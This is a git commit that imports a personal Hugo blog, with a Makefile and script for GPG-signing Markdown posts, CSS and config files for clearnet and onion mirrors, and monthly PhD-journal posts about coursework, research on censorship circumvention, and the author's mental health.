commit cb1ba0317f1dd3dddea7dcdb37367d54027bc154 Author: Iman Alipour Date: Tue Jul 28 12:47:20 2026 +0000 Initial import of Hugo site to Forgejo diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..be00b3c --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "themes/PaperMod"] + path = themes/PaperMod + url = https://github.com/adityatelange/hugo-PaperMod diff --git a/.hugo_build.lock b/.hugo_build.lock new file mode 100644 index 0000000..e69de29 diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..e5cd7f8 --- /dev/null +++ b/Makefile @@ -0,0 +1,182 @@ +# === Hugo: publish Markdown & sign with OpenPGP; add Download & Verify block === +SHELL := /bin/bash + +# --- Config --- +KEYID ?= 55A2A5DE84792BACC6CAEE3FB5882850E04C8D2A # or use your email: iman.alip2001@gmail.com +CONTENT_DIR ?= content +INCLUDE_DIRS ?= posts PhD_journey +PUBLISH_DIR ?= static/sources +MODE ?= interactive # interactive | loopback + +# Find helper: $(call MD_FIND,) +MD_FIND = find $(1) -type f -name '*.md' -print0 + +.PHONY: verify-ready publish-md sign-md append-sigdl sigdl-shortcode publish-and-sign sign-content clean-published clean-signatures + +# === One-command flow (matches your "Build flow end to end") === +verify-ready: sigdl-shortcode publish-md sign-md append-sigdl + @echo "✅ Done: published, signed, and appended {{< sigdl >}} to posts." + +# 1) Copy raw Markdown to static/sources so readers can download exact bytes. +publish-md: + @set -euo pipefail; \ + for sub in $(INCLUDE_DIRS); do \ + root="$(CONTENT_DIR)/$$sub"; \ + if [[ -d "$$root" ]]; then \ + $(call MD_FIND,$$root) | while IFS= read -r -d '' md; do \ + rel="$${md#$(CONTENT_DIR)/}"; \ + out="$(PUBLISH_DIR)/$$rel"; \ + mkdir -p "$$(dirname "$$out")"; \ + cp -f -- "$$md" "$$out"; \ + echo "published: $$out"; \ + done; \ + else \ + echo "skip missing: $$root"; \ + fi; \ + done + +# 2) Sign the published Markdown (recommended target for readers to verify). +sign-md: publish-md + @set -euo pipefail; \ + # Set up interactive pinentry if needed + if [[ "$(MODE)" == "interactive" ]]; then \ + if tty >/dev/null 2>&1; then export GPG_TTY="$$(tty)"; fi; \ + fi; \ + # Require passphrase in env for loopback mode + if [[ "$(MODE)" == "loopback" ]] && [[ -z "$${GPG_PASSPHRASE:-}" ]]; then \ + echo "ERROR: MODE=loopback but GPG_PASSPHRASE not set"; exit 1; \ + fi; \ + $(call MD_FIND,$(PUBLISH_DIR)) | while IFS= read -r -d '' f; do \ + asc="$$f.asc"; \ + echo "sign: $$f -> $$asc"; \ + if [[ "$(MODE)" == "loopback" ]]; then \ + printf "%s" "$$GPG_PASSPHRASE" | gpg --yes --pinentry-mode loopback --passphrase-fd 0 \ + --local-user $(KEYID) --detach-sign --armor -o "$$asc" "$$f"; \ + else \ + gpg --yes --local-user $(KEYID) --detach-sign --armor -o "$$asc" "$$f"; \ + fi; \ + done + +# Convenience alias (kept for compatibility) +publish-and-sign: sign-md + +# 3) Ensure the shortcode file exists (created once if missing) — heredoc-free, make-safe. +sigdl-shortcode: + @set -euo pipefail; \ + path="layouts/shortcodes/sigdl.html"; \ + if [[ ! -f "$$path" ]]; then \ + echo "creating $$path"; \ + mkdir -p "$$(dirname "$$path")"; \ + printf '%s\n' \ +'{{- /* sigdl — Download & Verify block for each post.' \ +' Assumes you publish .md to /static/sources/.md and sign to .md.asc.' \ +' Usage in post: {{< sigdl >}} */ -}}' \ +'{{- $$rel := replace .Page.File.Path "content/" "" -}}' \ +'{{- $$download := printf "/sources/%s" $$rel -}}' \ +'{{- $$asc := printf "%s.asc" $$download -}}' \ +'{{- $$staticAscPath := printf "static%s.asc" $$download -}}' \ +'{{- $$sig := "" -}}' \ +'{{- if (fileExists $$staticAscPath) -}}' \ +' {{- $$sig = (readFile $$staticAscPath) | htmlEscape -}}' \ +'{{- end -}}' \ +'
' \ +'

Downloads:' \ +' Markdown ·' \ +' Signature (.asc)' \ +'

' \ +' {{- if $$sig -}}' \ +'
' \ +' View signature' \ +'
{{$$sig}}
' \ +'
' \ +' {{- end -}}' \ +'

Verify locally:

' \ +'
' \
+'curl -O {{ $$download | absURL }}' \
+'curl -O {{ $$asc | absURL }}' \
+'gpg --verify {{ path.Base $$asc }} {{ path.Base $$download }}' \
+'  
' \ +'
' \ + > "$$path"; \ + else \ + echo "exists: $$path"; \ + fi + +# 4) Append the shortcode to posts (idempotent). +append-sigdl: + @set -euo pipefail; \ + for sub in $(INCLUDE_DIRS); do \ + root="$(CONTENT_DIR)/$$sub"; \ + [[ -d "$$root" ]] || { echo "skip missing: $$root"; continue; }; \ + $(call MD_FIND,$$root) | while IFS= read -r -d '' md; do \ + if grep -q '{{< *sigdl' "$$md"; then \ + echo "exists: $$md"; \ + else \ + printf "\n\n---\n\n{{< sigdl >}}\n" >> "$$md"; \ + echo "appended: $$md"; \ + fi; \ + done; \ + done + +# (Optional) Sign files directly under content/ (useful for your own archive; readers should prefer the published copies) +sign-content: + @set -euo pipefail; \ + if [[ "$(MODE)" == "interactive" ]]; then \ + if tty >/dev/null 2>&1; then export GPG_TTY="$$(tty)"; fi; \ + fi; \ + if [[ "$(MODE)" == "loopback" ]] && [[ -z "$${GPG_PASSPHRASE:-}" ]]; then \ + echo "ERROR: MODE=loopback but GPG_PASSPHRASE not set"; exit 1; \ + fi; \ + for sub in $(INCLUDE_DIRS); do \ + root="$(CONTENT_DIR)/$$sub"; \ + [[ -d "$$root" ]] || continue; \ + $(call MD_FIND,$$root) | while IFS= read -r -d '' f; do \ + asc="$$f.asc"; \ + echo "sign: $$f -> $$asc"; \ + if [[ "$(MODE)" == "loopback" ]]; then \ + printf "%s" "$$GPG_PASSPHRASE" | gpg --yes --pinentry-mode loopback --passphrase-fd 0 \ + --local-user $(KEYID) --detach-sign --armor -o "$$asc" "$$f"; \ + else \ + gpg --yes --local-user $(KEYID) --detach-sign --armor -o "$$asc" "$$f"; \ + fi; \ + done; \ + done + +# Cleanup helpers +clean-published: + @echo "rm -rf $(PUBLISH_DIR)"; rm -rf -- "$(PUBLISH_DIR)" + +clean-signatures: + @set -euo pipefail; \ + find "$(PUBLISH_DIR)" -type f -name '*.md.asc' -delete 2>/dev/null || true; \ + find "$(CONTENT_DIR)" -type f -name '*.md.asc' -delete 2>/dev/null || true + +# --- Cleanup: remove old {{< sig ... >}} blocks so only {{< sigdl >}} remains --- +.ONESHELL: +.PHONY: remove-old-sig disable-old-sig-shortcode + +# Delete any line that contains the legacy {{< sig ... >}} shortcode (but not {{< sigdl >}}) +remove-old-sig: + @set -euo pipefail + for sub in $(INCLUDE_DIRS); do + root="$(CONTENT_DIR)/$$sub" + [[ -d "$$root" ]] || { echo "skip missing: $$root"; continue; } + find "$$root" -type f -name '*.md' -print0 | while IFS= read -r -d '' f; do + if grep -Eq '\{\{<\s*sig(\s|>)' "$$f"; then + sed -E -i '/\{\{<\s*sig(\s|>)/d' "$$f" + echo "removed old sig: $$f" + fi + done + done + +# Disable the old layouts/shortcodes/sig.html so it can't render accidentally +disable-old-sig-shortcode: + @set -euo pipefail + path="layouts/shortcodes/sig.html" + if [[ -f "$$path" ]]; then + mv "$$path" "$$path.bak" + echo "moved $$path -> $$path.bak (legacy shortcode disabled)" + else + echo "no legacy shortcode found at $$path" + fi + diff --git a/append_sigdl.sh b/append_sigdl.sh new file mode 100755 index 0000000..7b9e2e6 --- /dev/null +++ b/append_sigdl.sh @@ -0,0 +1,49 @@ +#!/usr/bin/env bash +# append_sigdl.sh — Append {{< sigdl >}} to posts (idempotent). +# Usage: +# ./append_sigdl.sh [-c content] [-i "posts PhD_journey"] [-n] +# Options: +# -c content directory (default: content) +# -i space-separated subdirs under content (default: "posts PhD_journey") +# -n dry run + +set -euo pipefail + +CONTENT_DIR="content" +INCLUDE_DIRS=("posts" "PhD_journey" "about") +DRYRUN=0 + +while [[ $# -gt 0 ]]; do + case "$1" in + -c) CONTENT_DIR="${2:-content}"; shift 2 ;; + -i) IFS=' ' read -r -a INCLUDE_DIRS <<< "${2:-}"; shift 2 ;; + -n) DRYRUN=1; shift ;; + -h|--help) + echo "append_sigdl.sh [-c content] [-i \"posts PhD_journey\"] [-n]"; exit 0 ;; + *) echo "Unknown arg: $1"; exit 1 ;; + esac +done + +TOTAL=0 +UPDATED=0 + +for sub in "${INCLUDE_DIRS[@]}"; do + ROOT="$CONTENT_DIR/$sub" + [[ -d "$ROOT" ]] || { echo "skip missing: $ROOT"; continue; } + while IFS= read -r -d '' md; do + TOTAL=$((TOTAL+1)) + if grep -q '{{< *sigdl' "$md"; then + echo "exists: $md" + continue + fi + echo "append: $md" + UPDATED=$((UPDATED+1)) + if [[ $DRYRUN -eq 0 ]]; then + printf "\n\n---\n\n{{< sigdl >}}\n" >> "$md" + fi + done < <(find "$ROOT" -type f -name '*.md' -print0) +done + +echo "Done. Files seen: $TOTAL, appended: $UPDATED." +[[ $DRYRUN -eq 1 ]] && echo "(dry run: no changes)" + diff --git a/archetypes/default.md b/archetypes/default.md new file mode 100644 index 0000000..c6f3fce --- /dev/null +++ b/archetypes/default.md @@ -0,0 +1,5 @@ ++++ +title = '{{ replace .File.ContentBaseName "-" " " | title }}' +date = {{ .Date }} +draft = true ++++ diff --git a/assets/css/extended/comments-switch.css b/assets/css/extended/comments-switch.css new file mode 100644 index 0000000..e93ecb9 --- /dev/null +++ b/assets/css/extended/comments-switch.css @@ -0,0 +1,8 @@ +.comments-switch button { + padding: .35rem .6rem; border: 1px solid var(--border, #ccc); + background: transparent; border-radius: .5rem; cursor: pointer; +} +.comments-switch button[aria-pressed="true"] { + font-weight: 600; outline: none; +} + diff --git a/assets/css/extended/goatcounter.css b/assets/css/extended/goatcounter.css new file mode 100644 index 0000000..570e648 --- /dev/null +++ b/assets/css/extended/goatcounter.css @@ -0,0 +1,34 @@ +/* Make meta rows one line (wrapping if needed) */ +.post-single .post-header .post-meta, +.post-single .post-header .entry-meta, +.post-entry .entry-footer, +.post-entry .post-meta { + display: flex; + align-items: center; + flex-wrap: wrap; + gap: .15rem; +} + +/* Keep each item inline and aligned */ +.post-single .post-header .post-meta > *, +.post-single .post-header .entry-meta > *, +.post-entry .entry-footer > *, +.post-entry .post-meta > * { + display: inline-flex; + align-items: center; + white-space: nowrap; +} + +/* Add "·" between items (remove this block if you see double dots) */ +.post-single .post-header .post-meta > * + *::before, +.post-single .post-header .entry-meta > * + *::before, +.post-entry .entry-footer > * + *::before, +.post-entry .post-meta > * + *::before { + content: "·"; + margin: 0 .5rem; + opacity: .6; +} + +/* Subtle bottom-of-post counter */ +.post-views-bottom { margin: .6rem 0 0; opacity: .75; font-size: .95em; } + diff --git a/assets/css/extended/isso-giscus.css b/assets/css/extended/isso-giscus.css new file mode 100644 index 0000000..77cfae6 --- /dev/null +++ b/assets/css/extended/isso-giscus.css @@ -0,0 +1,190 @@ +/* comments.css — Isso × PaperMod tidy layout (no JS hacks) */ +#isso-thread{ + /* light theme */ + --bg: #fff; + --card: #fff; + --text: #1f2937; + --muted: #6b7280; + --border: rgba(0,0,0,.14); + --hover: rgba(0,0,0,.045); + --shadow: 0 1px 2px rgba(0,0,0,.06), 0 8px 24px rgba(0,0,0,.08); + --accent: #2563eb; + --accent-weak: #dbeafe; + color: var(--text); +} +html.dark #isso-thread, +body.dark #isso-thread, +html[data-theme="dark"] #isso-thread{ + --bg:#0b1220; --card:#0f1525; --text:#e5e7eb; --muted:#a1a1aa; + --border: rgba(255,255,255,.16); + --hover: rgba(255,255,255,.06); + --shadow: 0 1px 2px rgba(0,0,0,.35), 0 8px 24px rgba(0,0,0,.28); + --accent:#60a5fa; --accent-weak: rgba(96,165,250,.15); +} +#isso-thread a{ color:var(--accent); } + +/* Cards: composer / preview / comments */ +#isso-thread .isso-postbox, +#isso-thread .isso-comment, +#isso-thread .isso-preview{ + background: var(--card); + border: 1px solid var(--border); + border-radius: 14px; + box-shadow: var(--shadow); + padding: 1rem; +} +#isso-thread .isso-comment{ margin-top: 1rem; } + +/* Composer layout: fields left, buttons right */ +#isso-thread .isso-postbox > form{ + display:grid; + grid-template-columns: minmax(0,1fr) max-content; + column-gap: 1rem; + align-items:start; +} + +/* Inputs */ +#isso-thread .isso-postbox .isso-auth-section, +#isso-thread .isso-postbox .auth-section{ + display:flex; flex-direction:column; gap:.6rem; +} +#isso-thread .isso-postbox textarea, +#isso-thread .isso-postbox input[type="text"], +#isso-thread .isso-postbox input[type="email"], +#isso-thread .isso-postbox input[type="url"], +#isso-thread .isso-postbox input[name="author"], +#isso-thread .isso-postbox input[name="email"], +#isso-thread .isso-postbox input[name="website"]{ + width:100%; max-width:none; box-sizing:border-box; + margin-top:.5rem; background:transparent; color:var(--text); + border:1px solid var(--border); border-radius:10px; + padding:.75rem .9rem; font:inherit; line-height:1.4; outline:none; +} +#isso-thread .isso-postbox textarea{ min-height:140px; resize:vertical; } +#isso-thread .isso-postbox input:focus, +#isso-thread .isso-postbox textarea:focus{ + border-color:var(--accent); + box-shadow:0 0 0 3px color-mix(in srgb, var(--accent) 22%, transparent); +} + +/* Action rail (native Isso) — keep visible & tidy */ +#isso-thread .isso-postbox .isso-post-action, +#isso-thread .isso-postbox .post-action{ + grid-column:2; grid-row:1 / -1; + display:flex; gap:.6rem; justify-content:flex-end; align-items:center; + min-width:max-content; flex-wrap:nowrap; +} +#isso-thread .isso-postbox .isso-post-action > *, +#isso-thread .isso-postbox .post-action > *{ + flex:0 0 auto; white-space:nowrap; +} + +/* Buttons look */ +#isso-thread .isso-postbox .isso-post-action input[type="submit"], +#isso-thread .isso-postbox .post-action input[type="submit"], +#isso-thread .isso-postbox .isso-post-action input.submit, +#isso-thread .isso-postbox .post-action input.submit{ + background:var(--accent); color:#fff; border:0; + padding:.6rem 1rem; border-radius:10px; font-weight:600; line-height:1; + cursor:pointer; +} +#isso-thread .isso-postbox .isso-post-action input[name="preview"], +#isso-thread .isso-postbox .post-action input[name="preview"], +#isso-thread .isso-postbox .isso-post-action input[type="button"], +#isso-thread .isso-postbox .post-action input[type="button"]{ + background:transparent; color:var(--accent); + border:1px solid var(--accent); + padding:.6rem 1rem; border-radius:10px; font-weight:600; line-height:1; + cursor:pointer; +} + +/* Mobile: stack the rail under fields */ +@media (max-width:700px){ + #isso-thread .isso-postbox>form{ grid-template-columns:1fr; } + #isso-thread .isso-postbox .isso-post-action, + #isso-thread .isso-postbox .post-action{ + grid-column:1; grid-row:auto; justify-content:flex-end; flex-wrap:wrap; margin-top:.7rem; + } +} + +/* Comment body */ +#isso-thread .isso-comment .isso-meta{ + display:flex; gap:.5rem; flex-wrap:wrap; align-items:baseline; + color:var(--muted); font-size:.92rem; margin-bottom:.35rem; +} +#isso-thread .isso-comment .isso-author{ color:var(--text); font-weight:600; } +#isso-thread .isso-comment .isso-text, +#isso-thread .isso-comment .text{ line-height:1.65; } +#isso-thread .isso-comment .isso-text a, +#isso-thread .isso-comment .text a{ color:var(--accent); text-decoration:underline; } +#isso-thread .isso-comment blockquote{ + margin:.5rem 0; padding:.5rem .75rem; border-left:3px solid var(--accent); + background:var(--hover); border-radius:8px; +} +#isso-thread .isso-comment pre{ + background:var(--hover); border-radius:10px; padding:.6rem .75rem; overflow:auto; +} +#isso-thread .isso-avatar img, +#isso-thread .isso-avatar svg, +#isso-thread .isso-avatar canvas{ width:28px; height:28px; border-radius:999px; } + +/* Per-comment actions */ +#isso-thread .isso-comment .isso-actions, +#isso-thread .isso-comment .actions, +#isso-thread .isso-comment .footer{ + display:flex; align-items:center; flex-wrap:wrap; gap:.5rem; margin-top:.5rem; +} +#isso-thread .isso-comment .isso-actions a, +#isso-thread .isso-comment .actions a, +#isso-thread .isso-comment .footer a, +#isso-thread .isso-comment a.reply, +#isso-thread .isso-comment a.edit, +#isso-thread .isso-comment a.delete, +#isso-thread .isso-comment .isso-actions button, +#isso-thread .isso-comment .actions button, +#isso-thread .isso-comment .footer button, +#isso-thread .isso-comment .isso-actions input, +#isso-thread .isso-comment .actions input, +#isso-thread .isso-comment .footer input{ + appearance:none; background:transparent; color:var(--accent); + border:1px solid var(--accent); border-radius:10px; + padding:.35rem .6rem; text-decoration:none; line-height:1; font:inherit; cursor:pointer; +} +#isso-thread .isso-comment .isso-actions a:hover, +#isso-thread .isso-comment .actions a:hover, +#isso-thread .isso-comment .footer a:hover, +#isso-thread .isso-comment .isso-actions button:hover, +#isso-thread .isso-comment .actions button:hover, +#isso-thread .isso-comment .footer button:hover{ + background:var(--accent-weak); +} + +/* Preview: never blank the UI */ +#isso-thread .isso-preview{ /* default hidden until Isso shows it */ + display:none; + padding:1rem; + border:1px solid var(--border); + border-radius:14px; + box-shadow:var(--shadow); + overflow:hidden; +} +/* Show preview when Isso toggles it (inline style) or if some build uses a class */ +#isso-thread .isso-preview[style*="block"], +#isso-thread .isso-postbox.is-previewing .isso-preview{ + display:block; +} +/* Don’t double-style the fake comment inside the preview */ +#isso-thread .isso-preview > .isso-comment{ + background:transparent; border:0; box-shadow:none; padding:0; margin:0; +} + +/* Replies indentation */ +#isso-thread .isso-follow-up{ margin-left:2.25rem; } +@media (max-width:520px){ #isso-thread .isso-follow-up{ margin-left:1rem; } } + +/* Small spacing tweaks from your set */ +#isso-thread .isso-delete {margin-left:5px;} +#isso-thread .isso-permalink {margin-left:5px; margin-right:5px;} +#isso-thread .isso-note {margin-left:auto; margin-right:5px;} +#isso-thread .post-meta-item {margin-left:15px;} + diff --git a/assets/css/extended/rss.css b/assets/css/extended/rss.css new file mode 100644 index 0000000..cb61d3d --- /dev/null +++ b/assets/css/extended/rss.css @@ -0,0 +1,5 @@ +/* Make the footer RSS icon small and nicely aligned */ +.rss-link { display: inline-flex; align-items: center; gap: .35rem; } +.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* try 16–20px */ +.rss-link span { font-size: .65rem; } /* label text a touch smaller */ + diff --git a/config/_default/hugo.toml b/config/_default/hugo.toml new file mode 100644 index 0000000..f126bce --- /dev/null +++ b/config/_default/hugo.toml @@ -0,0 +1,13 @@ +title = "AlipourIm journeys" +theme = "PaperMod" +enableRobotsTXT = true + +[pagination] + pagerSize = 10 + +[params] + defaultTheme = "auto" + showReadingTime = true + showPostNavLinks = true + showBreadCrumbs = true + showCodeCopyButtons = true diff --git a/config/clearnet/hugo.toml b/config/clearnet/hugo.toml new file mode 100644 index 0000000..07a20ca --- /dev/null +++ b/config/clearnet/hugo.toml @@ -0,0 +1,4 @@ +baseURL = "https://blog.alipour.eu/" +# Example: turn on analytics only on clearnet (if you add later) +# [params] +# plausible = true diff --git a/config/onion/hugo.toml b/config/onion/hugo.toml new file mode 100644 index 0000000..4b07ff3 --- /dev/null +++ b/config/onion/hugo.toml @@ -0,0 +1,4 @@ +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/" +# Example: disable analytics or third-party scripts on onion +# [params] +# plausible = false diff --git a/content/PhD_journey/April_2026.md b/content/PhD_journey/April_2026.md new file mode 100644 index 0000000..4862d9d --- /dev/null +++ b/content/PhD_journey/April_2026.md @@ -0,0 +1,24 @@ ++++ +title = "April '26" +date = 2026-05-03T03:26:09Z +draft = false ++++ + +I know, I know. I've been lacking updates. I'm so so sorry. I will try to summerize what I've been up tp in the past few months. + +Up until the middle of March, I've been taking care of the last bits of coursework I had to do during my prep phase. And now I'm done with that all together. + +I took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn't know much about. Though no mail server for me unfortunately. + +I was then approached by a colleague who's research needed a bit of push to get to the IMC deadline, and we pushed "HARD". We submitted the paper with so much chaos I would say. But we did it. + +Now I wonder, both my research projects that I've been working on feel like there are more advanced than what we submitted, then we am I not drafting papers for them?! I will talk to my advisor about this. :) + +I also kinda started a new project, or at least we have floated the idea of, which sounds exciting. I would be working with one of my favorite group members. A true nerd! :) + +I will try to be more consistant throughout May by providing updates. Please cross your fingers for me! :D + + +--- + +{{< sigdl >}} diff --git a/content/PhD_journey/Augest_2025.asc b/content/PhD_journey/Augest_2025.asc new file mode 100644 index 0000000..b8745fc --- /dev/null +++ b/content/PhD_journey/Augest_2025.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBEYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qtEAP/jJPsM/ZN7fn/qwccVyJR8iJ +kd3+ynK8KRAG9L64cQWg/Gt6cEGuhynz1eyDsQ5K9HCwxFXBYq4klilebhFFC5BI +09s079JRn0HVUgC9hbhnE3SXnS72Dpnm2ibdwN2Il/qR6xCZvEGSozJzXf+ElrdR +DxAR1xi550+tciYBRNA1LppTpJ8oq470ACN7ttOuUO8LLlZXtmRZxazTE3jwC2kT +Ld969kfFAmlOa5pV6VhMehehvm5V4420J0DQAzU20gfiP4uovcW2ngeIn2zjNmd+ +R+rr2MsjgTWtkwybCeOcZLdSx7rwVKJ3plLd8/Ep7yWpae6YsOtsK5fc0FwSJepR +SuDz1Lx4achDQt56JP5KT7lk8KNFV+ALdGvFbMBETqKqejUeLnBSD8+zXdfB24PB +5sojXKVD/sJjYRnYYxsxS+kSK05UNynEfMLg8uJjVueOznrS+WX8jB4MzA4r53Iy +PUtEcgexjalfwcWCjBL+M+W/ZaGGNkW4b6yZpyj40tgvknu/uK/B84YzqAj/xgpC +9Orzo9F7AUZbJs2IjDkWewxw9j+1ZlamzJ3bC7Go2zvS2crEJo/AA8VXF5N4kNII +5i3r2kam8ribVRePRfZ4ffY6UhAfreXiwNZaywU5oix5Ldr233UFrM82TbHCHHwJ +T8htRg70csvp345a7ICN +=LfUT +-----END PGP SIGNATURE----- diff --git a/content/PhD_journey/Augest_2025.md b/content/PhD_journey/Augest_2025.md new file mode 100644 index 0000000..f703754 --- /dev/null +++ b/content/PhD_journey/Augest_2025.md @@ -0,0 +1,31 @@ ++++ +title = "Augest '25" +date = 2025-08-31T07:49:24Z +draft = false ++++ + +This month started with me setting up a deadline for Conext student workshop. +I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. +I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. +This darn thing wasted so much of my time! +I did learn a bit along the way, but oh well. +Such is life! + +Overall not the most productive month, but one reason for it is that I have't really had a real vacation in a long time. +I will be taking a 10 day vacation next month just to reset, and gain back my power. +I cross my fingers for the month ahead! + +My social life has been becoming better too. +I've been trying to attend more ZiS events to meet people, make new connections, and to have fun! +My depression is a serious issue. +I also have anxiety disorder that I'm talking with my therapist about. +I will most likely start taking SSRIs once again. +Idiot me was cutting it when the catasrophe in February happened and did not think twice to keep taking them. +I'm really glad I was able to recover, though it was not easy at all, it did work out. + +I do think there is bright nice future ahead of me; I just need to keep on trucking and not worry too much. +Things will workout! + +--- + +{{< sigdl >}} diff --git a/content/PhD_journey/November_2025.md b/content/PhD_journey/November_2025.md new file mode 100644 index 0000000..6d81d9e --- /dev/null +++ b/content/PhD_journey/November_2025.md @@ -0,0 +1,25 @@ ++++ +title = "November '25" +date = 2025-11-30T07:53:40Z +draft = false ++++ + +# 4th +Again, let's setup some goals for the month. +- Literature review +- Keeping up with my coursework +- Working on my codebase +- Getting healthier diet and excercise-wise + +# 30th +I did a bit of literature review, it's still lacking unfortunately. + +Coursework is ok-ish. I've been trying to work on assignements and understand them. + +I rewrote the whole codebase, now we have a modularized design that should be easier to add to. + +I've been eating more and more healthy, excercise is still lacking. I'll get to that later. + +--- + +{{< sigdl >}} diff --git a/content/PhD_journey/October_2025.asc b/content/PhD_journey/October_2025.asc new file mode 100644 index 0000000..cc74695 --- /dev/null +++ b/content/PhD_journey/October_2025.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBEYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qP5YQALFeatlfbAjyCorvxaH8dGGR +0BE67tNRQeu74kZ5Qo9WCxKnvKvW7Hd8iTI7h4GYe0BcQ8GAYXF55gFS1McDJ6UF +RPkDNxCTccmWbPtZWkDNJpoCMp4SIbIeb232NoLJG/YA5TK/+Nq1eRxNmOxGT2/u +b39BkAcqruBwCEESYCq+PwGnm4FGAPnlK/nbx0vslmJJ5/KcPiBGUgO9tJWgZBqR +43mexDQfayVS3IM7LunLQUsmAbqXJ/zRAtnZYpWyU3eEAt7oUyslMzNIpzp3nrRf +4B58/qTuvBte0+I98b4/SEP1YP/r6tIfPeHBV/grcyP/n4F+iSFYqIf3tnHWm063 +8S6xgc6OlnH89y0VDxyuDiNE/BqZkSDYoGjLhBHdx+yuuouVhS8aFmhgH3VwChUW +U9/3Wz/Zis0lZEck8vdkDEQ8s01THB20LBRjmfz0U187pAsz30sjs27erOcmLbjW +1oZdzvoTT8I/kJV5RVgcvtK63sU2bBe/jcfS20c4W8fwN2MIp+s/3U2HiIYU1gSh +pQi6tos80dgaVxVxeSIoQ+DAX6lowBGGl2VHPAzD9UuPs7vvGVIKyQMbZNj5BQpM +wblk6hLv1zwt3XQZTBl26nbc+2GlxmHjv93h7XNOgixoif7nfKvsMCeAe7G3vz40 +qK/LRsLVGdwAMhytShnh +=VoSE +-----END PGP SIGNATURE----- diff --git a/content/PhD_journey/October_2025.md b/content/PhD_journey/October_2025.md new file mode 100644 index 0000000..4264f02 --- /dev/null +++ b/content/PhD_journey/October_2025.md @@ -0,0 +1,158 @@ ++++ +title = "October '25" +date = 2025-10-31T08:40:43Z +draft = false ++++ + +# 1st +Ok, let's start the month by declareing some goals and agendas. + +What do I want to do this month? +- Finish previous semester. +- Pick the last of the course work for my prep phase. +- Finalize the CoNEXT student workshop paper. +- Finish my second RIL. +- Start my 3rd and last RIL. +- Learn more Go to become more comfortable with it, but how do I set this as a measureable goal? +- More literature review, persumabely all of FOCI related papers this month. +- Work on my codebase: + 1. Do code cleaning + 2. Add comments for code + 3. Start working on ICMP stuff +- More socializing! :-) +- A fun pet project? Maybe with Go? Maybe with 3d printer? Idk. +- Enhance your routines and add exercise to it please! + +Alright. Now that the goals are set, let's start the month strong! +My last exam for pervious semester will be on October 7th. +I have done 74 ECTS, another 6 will be my last RIL. +If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase. +I then just need to do my QE for which I should submit my first paper for which I'm doing work! + +I have started to take SSRIs again. +I used to take them before I came to Germany to start my PhD, but after coming here things were going really well for many months, and I wanted to cut the medication. +I was taking more than just SSRIs actually, and my psychiatrist agreed to cut all other three medications but advised me to keep taking my SSRI. +After being all happy and things working very well, we started to cut the last piece of the puzzle. +We agreed to reduce the dosage by 0.25% of the max and wait for one month. +Things were going really well for the first two and a half month, and then it happened. +The catastrophe that put me in my worst mental and physicall position happened to me. +It's not something I want to talk about in my blog, well at least for now, but I've tried to talk about it with my closest friends. +It's so sad that things happened the way they did. +I never really fully recovered. +But... time has passed. +Almost 8 months now. +I should not have continued to cut my medication, but I did. +I damaged myself badly by being stubborn. +My brother who knew everything insisted that I should continue the usage, but I didn't listen. +My parents didn't know anything, but could see thier happy son turning into the saddest, most depressed thing of all time. +I was scared of my own shadow for more than one month. +I eventually started to go out, but seeing some certain people made me uncomfortable. +This is another thing I haven't been able to figure out. +In the end, I just endured pain, a lot of pain. +I'm glad I didn't break, but I do think most people would've. +To deal with this pain, I decided to take many courses. +Cure pain with more pain. +What a fool I was. +I just tore myself up mentally and added much more unneeded stress. + +Did I mention I didn't show up in office for 6 weeks? +And that when I came back I was hit again with things I didn't understand? +Sometimes in life shit happens, but this was a whole new level. +I don't know how much of this I want to talk about publicly, but I do want to just say that I was hurt really badly. +I've been trying to just lay low, stick to myself, and stay the hell out of trouble. + +# 3rd +Today is the German unity day, and we have a long weekend ahead! +Other than that, last night was one of the most fantabolous days of my life. +I'm feeling more content and secure. +I'm feeling true happiness. +I don't know how much the SSRI is affecting me, but I know one thing for sure. +I'm just like I used to be 9 months ago. +Just as jolly, positive, and feeling like I'm on top of the world. +Thinking about it a bit more, I do think I'm being a bit less passionate about my work. +What could be the reason? Different priorities? Nah. I really love my research and care about it. +I think it's just that there is no pressure on me, and no deadline. +I will try to set small deadlines for myself and force myself to be more productive. +Oh, and the SSRI adverse effects are visible! Yeah... But it's going to be alright, I'm sure of it. +I have an exam I need to prepare for on 7th, but I've been procrastinating. I should plan my days and stick to it. Hell yes. + +# 5th +My student workshop paper to CoNEXT '25 was rejected. +It got one weak accept and one weak reject, with both reviewers claiming to have somewhat familiarity with the topic. + +First review (wa) provided two suggestions for improving the work. +However, as this was a workshop paper, the goal was to talk about the research in the presentation and afterwards fine-tune details. + +Second review (wr) asked for more details. +In the end they suggested only focusing on one approach and it's evaluation. +This kinda defeated the purpose of what I was trying to do, to provide "tools". + +Another thing they mentioned was how ML-based traffic analysis can be used to detect evasion. +This is indeed something I like to work on and look at in the near future. + +# 7th +Stressful day. +I had my last exam, the exam for Interactive systems that I did not attend the main exam for. +I tried to study over the weekend, but some weird things happened throughout the weekend, making my very distracted mind even more distracted. +I don't know how I did, but I'm glad I did the exam. +Hopefully I did alright, although I kinda do know some of the mistakes I've made, which is a really bad sign... +I hope I won't have to take another extra course in the next semesters, that would just be annoying. +I really do hope so. + +# 8th +I'm back at work, still very distracted with life. +I do need to do literature review, expand my framework, and focus on my work. +It's a Wednesday unfortunately, meaning I 